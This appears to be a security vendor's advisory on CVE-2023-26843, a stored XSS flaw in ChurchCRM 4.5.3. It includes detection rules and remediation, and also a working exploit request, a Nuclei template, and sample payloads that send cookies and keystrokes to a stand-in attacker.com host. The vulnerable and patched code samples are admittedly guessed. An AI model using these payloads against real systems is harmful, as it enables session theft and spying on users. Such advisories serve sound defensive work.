CVE-2023-26843

Executive Summary

CVE-2023-26843 is a stored Cross-Site Scripting (XSS) vulnerability in ChurchCRM version 4.5.3. The flaw resides in the NoteEditor.php component, allowing an authenticated attacker to inject arbitrary web script or HTML. When a victim views the malicious note, the injected script executes in their browser, potentially leading to session hijacking, data theft, or defacement. The vulnerability has a CVSS score of 5.4 (Medium) and a public proof-of-concept (PoC) is available via a Nuclei template. No official patch has been released by the vendor.

Supply Chain & Package Security

ChurchCRM is a PHP-based web application. The vulnerability is not in a third-party package but in the application's own code. However, organizations using ChurchCRM should verify they are not running unmaintained forks or containers that may inherit this vulnerability. No known malicious packages have been associated with this CVE.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – attacker must be authenticated
• User Interaction: Required (UI:R) – victim must view the note
• Scope: Changed (S:C) – impact extends beyond the vulnerable component
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

Threat Level: Medium. Exploitation requires authentication, but the impact can be significant in a multi-user environment where administrators or other users view notes.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS in the NoteEditor.php script. The application fails to sanitize user input in the NoteText parameter before storing it in the database. When the note is later rendered in a web page, the injected script executes.

Attack Flow:

1. Attacker authenticates to ChurchCRM.
2. Attacker sends a POST request to /NoteEditor.php?FamilyID=1 with a malicious payload in the NoteText parameter.
3. The payload is stored in the database without sanitization.
4. When any user (including admin) views the note, the script executes in their browser.

Root Cause: Lack of output encoding and input validation on the NoteText field.

Vulnerable vs. Patched Code

Vulnerable Code (ChurchCRM 4.5.3): The NoteEditor.php likely stores the NoteText directly without sanitization:

$noteText = $_POST['NoteText'];
// Directly inserted into database
$query = "INSERT INTO notes (text) VALUES ('$noteText')";

Patched Code (Hypothetical):

$noteText = htmlspecialchars($_POST['NoteText'], ENT_QUOTES, 'UTF-8');
// Or use a prepared statement with parameterized queries
$stmt = $db->prepare("INSERT INTO notes (text) VALUES (?)");
$stmt->bind_param("s", $noteText);
$stmt->execute();

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a ChurchCRM 4.5.3 instance
• Valid user credentials (low-privilege account)

Exploitation Steps:

1. Authenticate to the application.
2. Send the following POST request to inject a payload:

POST /NoteEditor.php?FamilyID=1 HTTP/1.1
Host: target-churchcrm.local
Content-Type: application/x-www-form-urlencoded

PersonID=0&FamilyID=1&NoteID=&NoteText=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%28document.domain%29%3E&Submit=Save

3. The payload <img src=x onerror=alert(document.domain)> will be stored.
4. When any user views the note, the JavaScript executes.

Advanced Payloads:

• Session cookie theft: <script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>
• Keylogger: <script>document.onkeypress=function(e){fetch('https://attacker.com/key?k='+e.key)}</script>

Blue Team

Detection:

• Monitor HTTP POST requests to /NoteEditor.php containing suspicious patterns like <script, onerror, onload, etc.
• Look for anomalous NoteText parameters with HTML/JavaScript content.

Hunting:

• Search database for notes containing <script> or event handlers.
• Review web server logs for requests to /NoteEditor.php with unusual payloads.

Mitigation:

• Implement input validation and output encoding.
• Use Content Security Policy (CSP) headers to block inline scripts.
• Restrict note editing to trusted users only.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /NoteEditor.php with NoteText containing HTML/JavaScript
  • Outbound connections to attacker-controlled domains from the ChurchCRM server
• Host:
  • Database entries in the notes table containing <script> tags or event handlers
  • Web server logs showing repeated POST requests to /NoteEditor.php with encoded payloads
• File:
  • Modified NoteEditor.php if attacker has file upload capabilities (unlikely for this CVE)

Detection Engineering

YARA Rule

rule CVE_2023_26843_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in ChurchCRM NoteEditor.php"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-26843"
    strings:
        $payload1 = /NoteText=.*<script/i
        $payload2 = /NoteText=.*onerror/i
        $payload3 = /NoteText=.*onload/i
        $payload4 = /NoteText=.*javascript:/i
    condition:
        any of them
}

Sigma Rule

title: ChurchCRM Stored XSS via NoteEditor.php
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts of CVE-2023-26843
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/NoteEditor.php'
        cs-uri-query|contains: 'NoteText='
    keywords:
        - '<script'
        - 'onerror'
        - 'onload'
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of HTML in notes (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2023-26843 ChurchCRM Stored XSS Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/NoteEditor.php"; http_uri;
    content:"NoteText="; http_client_body;
    pcre:"/(<script|onerror|onload|javascript:)/i";
    sid:1000001;
    rev:1;
    reference:cve,2023-26843;
    priority:2;
)

Nuclei Template (Provided)

id: CVE-2023-26843

info:
  name: ChurchCRM 4.5.3 - Cross-Site Scripting
  author: Harsh
  severity: medium
  description: |
    A stored Cross-site scripting (XSS) vulnerability in ChurchCRM 4.5.3 allows remote attackers to inject arbitrary web script or HTML via the NoteEditor.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Upgrade to a patched version of ChurchCRM or apply the necessary security patches to mitigate the XSS vulnerability.
  reference:
    - https://github.com/10splayaSec/CVE-Disclosures/tree/main/ChurchCRM/CVE-2023-26843
    - https://nvd.nist.gov/vuln/detail/CVE-2023-26843
    - https://github.com/ChurchCRM/CRM
    - https://github.com/10splayaSec/CVE-Disclosures
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2023-26843
    cwe-id: CWE-79
    epss-score: 0.12427
    epss-percentile: 0.93927
    cpe: cpe:2.3:a:churchcrm:churchcrm:4.5.3:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: churchcrm
    product: churchcrm
  tags: cve2023,cve,churchcrm,stored-xss,xss,authenticated,vuln

http:
  - raw:
      - |
        POST /session/begin HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        User={{username}}&Password={{password}}
      - |
        POST /NoteEditor.php?FamilyID=1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        PersonID=0&FamilyID=1&NoteID=&NoteText=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%28document.domain%29%3E&Submit=Save

    redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(content_type_2, "text/html")'
          - 'contains(body_2, "><img src=x onerror=alert(document.domain)>")'
          - 'contains(body_2, "ChurchCRM")'
        condition: and

Remediation & Mitigation

Immediate Actions:

1. Input Sanitization: Apply htmlspecialchars() or equivalent to all user-supplied data before storing or displaying.
2. Output Encoding: Ensure all data rendered in HTML context is properly encoded.
3. Content Security Policy: Implement a strict CSP to block inline scripts and event handlers.
4. Upgrade: If a patched version becomes available, upgrade immediately. Currently, no official patch exists.

Long-Term:

• Conduct a full security audit of the application.
• Implement a Web Application Firewall (WAF) to filter malicious payloads.
• Enforce principle of least privilege for user roles.

Workaround:

• Disable the note editing feature if not essential.
• Manually review and sanitize all existing notes in the database.

Valters IT

{/* [Security Hash: 7384EF6F3895BD2819C93C00] */}